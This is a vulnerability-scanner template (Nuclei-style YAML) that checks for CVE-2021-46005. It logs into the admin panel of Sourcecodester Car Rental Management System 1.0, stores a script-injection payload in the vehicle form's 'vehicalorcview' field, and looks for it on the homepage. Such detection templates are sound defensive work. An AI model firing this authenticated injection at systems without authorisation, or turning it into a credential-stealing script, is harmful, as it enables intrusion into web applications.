117 lines
3.4 KiB
YAML
117 lines
3.4 KiB
YAML
id: CVE-2021-46005
|
|
|
|
info:
|
|
name: Sourcecodester Car Rental Management System 1.0 - Stored Cross-Site Scripting
|
|
author: cckuailong
|
|
severity: medium
|
|
description: Sourcecodester Car Rental Management System 1.0 is vulnerable to cross-site scripting via the vehicalorcview parameter.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/49546
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-46005
|
|
- https://www.sourcecodester.com/cc/14145/online-car-rental-system-using-phpmysql.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 5.4
|
|
cve-id: CVE-2021-46005
|
|
cwe-id: CWE-79
|
|
cpe: cpe:2.3:a:car_rental_management_system_project:car_rental_management_system:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00135
|
|
tags: sourcecodester,authenticated,edb,cve,cve2021,xss
|
|
metadata:
|
|
max-request: 3
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /admin/ HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: close
|
|
|
|
username={{username}}&password={{password}}&login=
|
|
|
|
- |
|
|
POST /admin/post-avehical.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypWqYipqU21aYgccv
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="vehicletitle"
|
|
|
|
Test
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="brandname"
|
|
|
|
1
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="vehicalorcview"
|
|
|
|
</script><script>alert(document.domain)</script>
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="priceperday"
|
|
|
|
500
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="fueltype"
|
|
|
|
Petrol
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="modelyear"
|
|
|
|
2022
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="seatingcapacity"
|
|
|
|
5
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="img1"; filename="test.png"
|
|
Content-Type: image/png
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="img2"; filename="test.png"
|
|
Content-Type: image/png
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="img3"; filename="test.png"
|
|
Content-Type: image/png
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="img4"; filename="test.png"
|
|
Content-Type: image/png
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="img5"; filename=""
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv
|
|
Content-Disposition: form-data; name="submit"
|
|
|
|
|
|
------WebKitFormBoundarypWqYipqU21aYgccv--
|
|
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|